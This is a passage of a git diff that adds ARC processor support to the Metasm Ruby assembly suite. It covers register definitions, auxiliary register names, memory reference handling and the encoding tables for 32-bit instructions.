+                Indirection[sp, @size/8, di.address] => Expression[a0]
+              } }
+            when 'pop_s'
+              lambda { |di, a0| {
+                a0 => Indirection[sp, @size/8, di.address],
+                sp => Expression[sp, :+, 4]
+              } }
+            end
+        @backtrace_binding[op] ||= binding if binding
+      }
+    }
+
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when GPR; arg.symbolic
+      when Memref; arg.symbolic(di.address)
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.basename]
+      binding[di, *a]
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      { :incomplete_binding => Expression[1] }
+    end
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    arg = case di.opcode.name
+          when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp'
+            expr = di.instruction.args.last
+            expr.kind_of?(Memref) ? expr.base : expr
+          else di.instruction.args.last
+          end
+
+    [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]]
+  end
+
+  def backtrace_is_function_return(expr, di=nil)
+    Expression[expr].reduce == Expression[register_symbols[5]]
+  end
+
+  def delay_slot(di=nil)
+    return 0 if (not di) or (not di.opcode.props[:setip])
+    return 1 if di.opcode.props[:delay_slot]
+    (di.instruction.opname =~ /\.d/) ? 0 : 1
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb
new file mode 100644
index 0000000000..2d0a5bd042
--- /dev/null
+++ b/lib/metasm/metasm/cpu/arc/main.rb
@@ -0,0 +1,191 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/main'
+
+module Metasm
+class ARC < CPU
+  def initialize(e = :little)
+    super()
+    @endianness = e
+    @size = 32
+  end
+
+  class Reg
+    include Renderable
+
+    attr_accessor :i
+
+    def initialize(i); @i = i end
+
+    def ==(o)
+      o.class == self.class and o.i == i
+    end
+  end
+
+  # general purpose reg
+  # Result R0-R1
+  # Arguments R0-R7
+  # Caller Saved Registers R0-R12
+  # Callee Saved Registers R13-R25
+  # Static chain pointer (if required) R11
+  # Register for temp calculation R12
+  # Global Pointer R26 (GP)
+  # Frame Pointer R27 (FP)
+  # Stack Pointer R28 (SP)
+  # Interrupt Link Register 1 R29 (ILINK1)
+  # Interrupt Link Register 2 R30 (ILINK2)
+  # Branch Link Register R31 (BLINK)
+  class GPR < Reg
+    Sym = (0..64).map { |i| "r#{i}".to_sym }
+    def symbolic; Sym[@i] end
+
+    Render = {
+      26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program
+      27 => 'fp', # frame pointer
+      28 => 'sp', # stak pointer
+      29 => 'ilink1', # maskable interrupt link register
+      30 => 'ilink2', # maskable interrupt link register 2
+      31 => 'blink', # branch link register
+      60 => 'lp_count', # loop count register (24 bits)
+         # "When a destination register is set to r62 there is no destination for the result of the instruction so the
+         # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit
+         #  in the instruction)."
+      62 => 'zero'
+    }
+
+    def render
+      if s = Render[i]
+        [s]
+      else
+        # r0-r28 general purpose registers
+        # r32-r59 reserved for extentions
+        ["r#@i"]
+      end
+    end
+
+  end
+
+  class AUX < Reg
+    def symbolic; "aux#{i}".to_sym end
+
+    Render = {
+      0x00  => 'status',                # Status register (Original ARCtangent-A4 processor format)
+      0x01  => 'semaphore',             # Inter-process/Host semaphore register
+      0x02  => 'lp_start',              # Loop start address (32-bit)
+      0x03  => 'lp_end',                # Loop end address (32-bit)
+      0x04  => 'identity',              # Processor Identification register
+      0x05  => 'debug',                 # Debug register
+      0x06  => 'pc',                    # PC register (32-bit)
+      0x0A  => 'status32',              # Status register (32-bit)
+      0x0B  => 'status32_l1',           # Status register save for level 1 interrupts
+      0x0C  => 'status32_l2',           # Status register save for level 2 interrupts
+      0x10  => 'ic_ivic',               # Cache invalidate
+      0x11  => 'ic_ctrl',               # Mode bits for cache controller
+      0x12  => 'mulhi',                 # High part of Multiply
+      0x19  => 'ic_ivil',
+      0x21  => 'timer0_cnt',            # Processor Timer 0 Count value
+      0x22  => 'timer0_ctrl',           # Processor Timer 0 Control value
+      0x23  => 'timer0_limit',          # Processor Timer 0 Limit value
+      0x25  => 'int_vector_base',       # Interrupt Vector Base address
+      0x40  => 'im_set_dc_ctrl',
+      0x41  => 'aux_macmode',           # Extended Arithmetic Status and Mode
+      0x43  => 'aux_irq_lv12',          # Interrupt Level Status
+      0x47  => 'dc_ivdc',               # Invalidate cache
+      0x48  => 'dc_ctrl',               # Cache control register
+      0x49  => 'dc_ldl',                # Lock data line
+      0x4A  => 'dc_ivdl',               # Invalidate data line
+      0x4B  => 'dc_flsh',               # Flush data cache
+      0x4C  => 'dc_fldl',               # Flush data line
+      0x58  => 'dc_ram_addr',           # Access RAM address
+      0x59  => 'dc_tag',                # Tag Access
+      0x5A  => 'dc_wp',                 # Way Pointer Access
+      0x5B  => 'dc_data',               # Data Access
+      0x62  => 'crc_bcr',
+      0x64  => 'dvfb_bcr',
+      0x65  => 'extarith_bcr',
+      0x68  => 'vecbase_bcr',
+      0x69  => 'perbase_bcr',
+      0x6f  => 'mmu_bcr',
+      0x72  => 'd_cache_build',         # Build: Data Cache
+      0x73  => 'madi_build',            # Build: Multiple ARC Debug I/F
+      0x74  => 'ldstram_build',         # Build: LD/ST RAM
+      0x75  => 'timer_build',           # Build: Timer
+      0x76  => 'ap_build',              # Build: Actionpoints
+      0x77  => 'i_cache_build',         # Build: I-Cache
+      0x78  => 'addsub_build',          # Build: Saturated Add/Sub
+      0x79  => 'dspram_build',          # Build: Scratch RAM & XY Memory
+      0x7B  => 'multiply_build',        # Build: Multiply
+      0x7C  => 'swap_build',            # Build: Swap
+      0x7D  => 'norm_build',            # Build: Normalise
+      0x7E  => 'minmax_build',          # Build: Min/Max
+      0x7F  => 'barrel_build',          # Build: Barrel Shift
+      0x100 => 'timer1_cnt',            # Processor Timer 1 Count value
+      0x101 => 'timer1_ctrl',           # Processor Timer 1 Control value
+      0x102 => 'timer1_limit',          # Processor Timer 1 Limit value
+      0x200 => 'aux_irq_lev',           # Interrupt Level Programming
+      0x201 => 'aux_irq_hint',          # Software Triggered Interrupt
+      0x202 => 'aux_irq_mask',          # Masked bits for Interrupts
+      0x203 => 'aux_irq_base',          # Interrupt Vector base address
+      0x400 => 'eret',                  # Exception Return Address
+      0x401 => 'erbta',                 # Exception Return Branch Target Address
+      0x402 => 'erstatus',              # Exception Return Status
+      0x403 => 'ecr',                   # Exception Cause Register
+      0x404 => 'efa',                   # Exception Fault Address
+      0x40A => 'icause1',               # Level 1 Interrupt Cause Register
+      0x40B => 'icause2',               # Level 2 Interrupt Cause Register
+      0x40C => 'aux_ienable',           # Interrupt Mask Programming
+      0x40D => 'aux_itrigger',          # Interrupt Sensitivity Programming
+      0x410 => 'xpu',                   # User Mode Extension Enables
+      0x412 => 'bta',                   # Branch Target Address
+      0x413 => 'bta_l1',                # Level 1 Return Branch Target
+      0x414 => 'bta_l2',                # Level 2 Return Branch Target
+      0x415 => 'aux_irq_pulse_cancel',  # Interrupt Pulse Cancel
+      0x416 => 'aux_irq_pending',       # Interrupt Pending Register
+    }
+
+    def render
+      if s = Render[i]
+        [s]
+      else
+        ["aux#@i"]
+      end
+    end
+  end
+
+  class Memref
+    attr_accessor :base, :disp
+
+    def initialize(base, disp, sz)
+      @base, @disp, @size = base, disp, sz
+    end
+
+    def symbolic(orig)
+      b = @base
+      b = b.symbolic if b.kind_of? Reg
+
+      if disp
+        o = @disp
+        o = o.symbolic if o.kind_of? Reg
+        e = Expression[b, :+, o].reduce
+      else
+        e = Expression[b].reduce
+      end
+
+      Indirection[e, @size, orig]
+    end
+
+    include Renderable
+
+    def render
+      if @disp and @disp != 0
+        ['[', @base, ', ', @disp, ']']
+      else
+        ['[', @base, ']']
+      end
+    end
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb b/lib/metasm/metasm/cpu/arc/opcodes.rb
new file mode 100644
index 0000000000..66417d93fd
--- /dev/null
+++ b/lib/metasm/metasm/cpu/arc/opcodes.rb
@@ -0,0 +1,588 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/arc/main'
+
+module Metasm
+class ARC
+  def addop32(name, bin, *args)
+    addop(:ac32, name, bin, *args)
+  end
+
+  def addop16(name, bin, *args)
+    addop(:ac16, name, bin, *args)
+  end
+
+  def addop(mode, name, bin, *args)
+    o = Opcode.new(name)
+    o.bin = bin
+    args.each { |a|
+      o.args << a if @fields_mask[a]
+      o.props[a] = true if @valid_props[a]
+      o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
+    }
+    (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o)
+  end
+
+  def init_opcode_list
+    @opcode_list16 = []
+    @opcode_list32 = []
+
+    @valid_props.update :flag_update => true, :delay_slot => true
+    @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz]
+    #The remaining 16 condition codes (10-1F) are available for extension
+    @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" }
+
+    # Compact 16-bits operands field masks
+    fields_mask16 = {
+      :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7,
+      :cu => 0x1f,
+      :ch => 0b11100111,
+
+      # immediate (un)signed
+      :cu3 => 0x7, :cu8 => 0xff,
+      # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned
+      :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f,
+
+      :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff,
+
+      # signed displacement
+      :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF,
+
+      # memref [b+u], [sp,u], etc.
+      :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111,
+      :@cspu7 => 0b11111, :@cbcc => 0b111111,
+      :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff,
+
+      # implicit operands
+      :climm => 0x0, :cr0 => 0x0,
+      :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0
+    }
+
+    fields_shift16 = {
+      :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5,
+      :cu => 0x0,
+
+      # immediate (un)signed
+      :ch => 0x0,
+      :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0,
+      :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0,
+
+      # signed displacement
+      :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0,
+
+      # memref [b+u]
+      :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0,
+      :@cspu7 => 0x0, :@cbcc => 0x5,
+      :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0,
+
+      # implicit operands
+      :climm => 0x0, :cr0 => 0x0,
+      :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0,
+    }
+
+    fields_mask32 = {
+      :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111,
+      :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f,
+
+      :u6 => 0x3f, :u6e => 0x3f,
+      :s8e => 0x1fd, :s9 => 0x7f,
+      :s12 => 0xfff, :s12e => 0xfff,
+      :s21e => 0x1ffBff, :s21ee => 0x1ff3ff,
+      :s25e => 0x7feffcf, :s25ee => 0x7fcffcf,
+
+      :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF,
+
+      :limm => 0x0, :@limm => 0x0,
+      :@limmc => 0x3f, :@blimm => 0x7,
+
+      :auxlimm => 0x0, :auxs12 => 0xfff,
+
+      :ccond => 0x1f, #condition codes
+      :delay5 => 1, :delay16 => 1,# delay slot
+      :flags15 => 0x1, :flags16 => 0x1,
+      :signext6 => 0x1, :signext16 => 0x1,
+      :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field
+      :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3,  :sz17 => 0x3, #data size field
+      :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag
+      :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0
+    }
+    #FIXME
+
+    fields_shift32 = {
+      :a => 0x0, :b => 0xC, :bext => 0xC,
+      :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6,
+
+      :u6 => 0x6, :u6e =>0x6,
+      :s8e => 15, :s9 => 0x11,
+      :s12 => 0x0, :s12e => 0,
+      :s21e => 0x6, :s21ee => 0x6,
+      :s25e => 0, :s25ee => 0,
+
+      :limm => 0x0, :@limm => 0x0,
+      :@limmc => 0x6, :@blimm => 0x18,
+
+      :auxlimm => 0x0, :auxs12 => 0,
+
+      :@bs9 => 12, :@bc => 6, :@bextcext => 6,
+
+      :ccond => 0, #condition codes
+      :delay5 => 5, :delay16 => 16,# delay slot
+      :flags15 => 15, :flags16 => 16,
+      :signext6 => 6, :signext16 => 16,
+      :cache5 => 5, :cache11 => 11, :cache16 =>  16, # data cache mode field
+      :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field
+      :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag
+      :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0,
+    }
+
+    @fields_mask = fields_mask16.merge(fields_mask32)
+    @fields_shift = fields_shift16.merge(fields_shift32)
+
+    init_arc_compact16()
+    init_arc_compact32()
+
+    {16 => @opcode_list16, 32 => @opcode_list32}
+  end
+
+  def add_artihm_op(op, majorcode, subcode, *flags)
+    #           0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA
+    addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15
+    #           0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA
+    addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
+    #           0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS
+    addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15
+    #           0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ
+    addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15
+    #           0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ
+    addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
+  end
+
+  def add_logical_op(op, majorcode, subcode, *flags)
+    #           0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA
+    addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15
+    #           0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA
+    addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
+    #           0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ
+    # WTF
+    addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15
+    #           0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ
+    addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
+  end
+
+  def add_artihm_op_reduce(op, majorcode, subcode)
+    #           0bxxxxxbbb00101111FBBBCCCCCCxxxxxx
+    addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15
+    #           0bxxxxxbbb01101111FBBBuuuuuuxxxxxx
+    addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15
+  end
+
+  def add_condbranch_op(op, ccond)
+    #           0b00001bbbsssssss1SBBBUUUUUUN0xxxx
+    addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5
+    #           0b00001bbbsssssss1SBBBUUUUUUN1xxxx
+    addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5
+  end
+
+  def add_condjmp_op()
+    #            0b00100RRR1110000D0RRRCCCCCC0QQQQQ
+    addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16
+    #            0b00100RRR1110000D0RRRuuuuuu1QQQQQ
+    addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16
+    #            0b00100RRR111000001RRR0111010QQQQQ
+    addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update
+    #            0b00100RRR111000001RRR0111100QQQQQ
+    addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update
+  end
+
+  def add_condjmplink_op()
+    #             0b00100RRR111000100RRRCCCCCC0QQQQQ
+    addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16
+    #             0b00100RRR111000100RRRuuuuuu1QQQQQ
+    addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16
+  end
+
+  def init_arc_compact32
+
+    add_artihm_op_reduce 'abs',   0b00100, 0b001001
+    add_artihm_op_reduce 'abss',  0b00101, 0b000101
+    add_artihm_op_reduce 'abssw', 0b00101, 0b000100
+
+    add_artihm_op 'adc',   0b00100, 0b000001
+    add_artihm_op 'add',   0b00100, 0b000000
+    add_artihm_op 'add1',  0b00100, 0b010100
+    add_artihm_op 'add2',  0b00100, 0b010101
+    add_artihm_op 'add3',  0b00100, 0b010110
+    add_artihm_op 'adds',  0b00101, 0b000110
+    add_artihm_op 'addsw', 0b00101, 0b010101, :extended
+    add_artihm_op 'addsdw',0b00101, 0b101000, :extended
+    add_artihm_op 'and'   ,0b00100, 0b000100
+
+    add_artihm_op_reduce 'asl', 0b00100, 0b000000
+
+    add_artihm_op 'asl',  0b00101, 0b000000, :extended
+    add_artihm_op 'asls', 0b00101, 0b001010, :extended
+
+    add_artihm_op_reduce 'asr', 0b00100, 0b000001
+
+    add_artihm_op 'asr',  0b00101, 0b000010
+    add_artihm_op 'asrs', 0b00101, 0b001011
+
+    #                0b00001bbbsssssss1SBBBCCCCCCN01110
+    addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip
+    #                0b00001bbbsssssss1SBBBuuuuuuN11110
+    addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip
+    #                0b00001bbbsssssss1SBBBCCCCCCN01111
+    addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip
+    #                0b00001bbbsssssss1SBBBuuuuuuN11111
+    addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip
+
+    #            0b00000ssssssssss0SSSSSSSSSSNQQQQQ
+    addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip
+    #            0b00000ssssssssss1SSSSSSSSSSNRtttt
+    addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec
+    # WTF: unknown encoding, bit 5 should be reserved
+    addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec
+
+    add_logical_op 'bclr', 0b00100, 0b010000
+    add_artihm_op  'bic',  0b00100, 0b000110
+
+    #             0b00001sssssssss00SSSSSSSSSSNQQQQQ
+    addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip
+    #             0b00001sssssssss10SSSSSSSSSSNRtttt
+    addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec
+
+    add_logical_op 'bmsk', 0b00100, 0b010011
+
+    add_condbranch_op 'breq', 0b0000
+    add_condbranch_op 'brne', 0b0001
+    add_condbranch_op 'brlt', 0b0010
+    add_condbranch_op 'brge', 0b0011
+    add_condbranch_op 'brlo', 0b0100
+    add_condbranch_op 'brhs', 0b0101
+
+    addop32 'brk', 0b00100101011011110000000000111111, :stopexec
+
+    add_logical_op 'bset', 0b00100, 0b001111
+
+    #               0b00100bbb110100011BBBCCCCCC0QQQQQ
+    addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond
+    #               0b00100bbb110100011BBBuuuuuu1QQQQQ
+    addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond
+    #  WTF          0b00100bbb010100011BBBuuuuuu0QQQQQ
+    addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond
+
+    add_logical_op 'bxor', 0b00100, 0b010010
+
+    #              0b00100bbb100011001BBBssssssSSSSSS
+    addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12
+    # WTF unknown encoding ...
+    #              0b00100bbb010011001BBBssssssSSSSSS
+    addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12
+    #              0b00100bbb110011001BBBuuuuuu1QQQQQ
+    addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond
+    # WTF unknown encoding ...
+    #              0b00100bbb010011001BBBssssssSSSSSS
+    addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond
+    #              0b00100bbb110011001BBBCCCCCC0QQQQQ
+    addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond
+
+    add_artihm_op 'divaw', 0b00101, 0b001000, :extended
+
+    #             0b00100bbb00101111DBBBCCCCCC001100
+    addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16
+    #             0b00100bbb01101111DBBBuuuuuu001100
+    addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16
+
+    add_artihm_op_reduce 'extb', 0b00100, 0b000111
+    add_artihm_op_reduce 'extw', 0b00100, 0b001000
+
+    # WTF unknown encoding ...
+    #               0b00100rrr111010010RRRCCCCCC0QQQQQ
+    addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update
+    #               0b00100rrr111010010RRRuuuuuu1QQQQQ
+    addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update
+    #               0b00100rrr101010010RRRssssssSSSSSS
+    addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update
+
+    add_condjmp_op()
+    add_condjmplink_op()
+
+    #              0b00100RRR001000000RRRCCCCCCRRRRRR
+    addop32 'j',   0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec
+    #              0b00100RRR011000000RRRuuuuuuRRRRRR
+    addop32 'j',   0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec
+    #              0b00100RRR101000000RRRssssssSSSSSS
+    addop32 'j',   0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec
+    #              0b00100RRR001000001RRR011101RRRRRR
+    addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec
+    #              0b00100RRR001000001RRR011110RRRRRR
+    addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec
+
+    #             0b00100RRR0010001D0RRRCCCCCCRRRRRR
+    addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec
+    #             0b00100RRR0110001D0RRRuuuuuuRRRRRR
+    addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec
+    #             0b00100RRR1010001D0RRRssssssSSSSSS
+    addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec
+
+    #             0b00010bbbssssssssSBBBDaaZZXAAAAAA
+    addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11
+
+    #             0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA
+    addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11
+
+    #             0b00100RRR111010000RRRuuuuuu1QQQQQ
+    addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip
+    #             0b00100RRR101010000RRRssssssSSSSSS
+    addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip
+
+    #             0b00100bbb001010100BBBCCCCCCRRRRRR
+    addop32 'lr', 0b00100000101010100000000000000000, :b, :@c
+    #             0b00100bbb001010100BBB111110RRRRRR
+    addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm
+    #             0b00100bbb101010100BBBssssssSSSSSS
+    addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12
+    # WTF unknown encoding ...
+    #             0b00100bbb101010100BBBssssssSSSSSS
+    addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12
+
+    add_artihm_op_reduce 'lsr', 0b00100, 0b000010
+
+    add_artihm_op 'lsr', 0b00101, 0b000001
+    add_artihm_op 'max', 0b00100, 0b001000
+    add_artihm_op 'min', 0b00100, 0b001001
+
+    #              0b00100bbb10001010FBBBssssssSSSSSS
+    addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15
+    # WTF unknown encoding ...
+    #              0b00100bbb01001010FBBBssssssSSSSSS
+    addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15
+    #              0b00100bbb11001010FBBBCCCCCC0QQQQQ
+    addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15
+    # WTF unknown encoding ..
+    #              0b00100bbb00001010FBBBCCCCCC0QQQQQ
+    addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15
+    #              0b00100bbb11001010FBBBuuuuuu1QQQQQ
+    addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15
+
+    add_artihm_op 'mpy',   0b00100, 0b011010, :extended
+    add_artihm_op 'mpyh',  0b00100, 0b011011, :extended
+    add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended
+    add_artihm_op 'mpyu',  0b00100, 0b011101, :extended
+
+    # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6
+    # :             0b00100bbb01001110FBBB000000AAAAAA
+    #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15
+
+    # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6
+    #               0b00100bbb11001110FBBB0000001QQQQQ
+    #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15
+
+    add_artihm_op_reduce 'negs',  0b00101, 0b000111
+    add_artihm_op_reduce 'negsw', 0b00101, 0b000110
+
+    # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15])
+    addop32 'nop', 0b00100110010010100111000000000000
+
+    add_artihm_op_reduce 'norm',  0b00101, 0b000001
+    add_artihm_op_reduce 'normw', 0b00101, 0b001000
+    add_artihm_op_reduce 'not',   0b00100, 0b001010
+
+    add_artihm_op 'or', 0b00100, 0b000101
+
+    #                   0b00010bbbssssssssSBBB0aa000111110
+    addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb
+    #                   0b00100bbbaa1100000BBBCCCCCC111110
+    addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22
+
+    #               0b00100bbb100011011BBBssssssSSSSSS
+    addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12
+    #               0b00100bbb110011011BBBCCCCCC0QQQQQ
+    addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond
+    #               0b00100bbb110011011BBBuuuuuu1QQQQQ
+    addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond
+
+    add_artihm_op_reduce 'rlc',   0b00100, 0b001011
+    add_artihm_op_reduce 'rnd16', 0b00101, 0b000011
+    add_artihm_op_reduce 'ror',   0b00100, 0b000011
+
+    add_artihm_op 'ror',  0b00101, 0b000011, :extended
+
+    add_artihm_op_reduce 'rrc', 0b00100, 0b000100
+
+    add_artihm_op 'rsub', 0b00100, 0b001110
+
+    addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec
+
+    add_artihm_op_reduce 'sat16', 0b00101, 0b000010
+
+    add_artihm_op 'sbc', 0b00100, 0b000011
+
+    add_artihm_op_reduce 'sexb',  0b00100, 0b000101
+    add_artihm_op_reduce 'sexbw', 0b00100, 0b000110
+
+    #                0b00100001011011110000uuuuuu111111
+    addop32 'sleep', 0b00100001011011110000000000111111, :u6
+
+    #             0b00100bbb001010110BBBCCCCCCRRRRRR
+    addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext
+    #             0b00100110101010110111CCCCCCRRRRRR
+    addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12
+    # WTF: unknown encoding
+    addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12
+
+    #             0b00011bbbssssssssSBBBCCCCCCDaaZZR
+    addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5
+
+    add_artihm_op 'sub',  0b00100, 0b000010
+    add_artihm_op 'sub1', 0b00100, 0b010111
+    add_artihm_op 'sub2', 0b00100, 0b011000
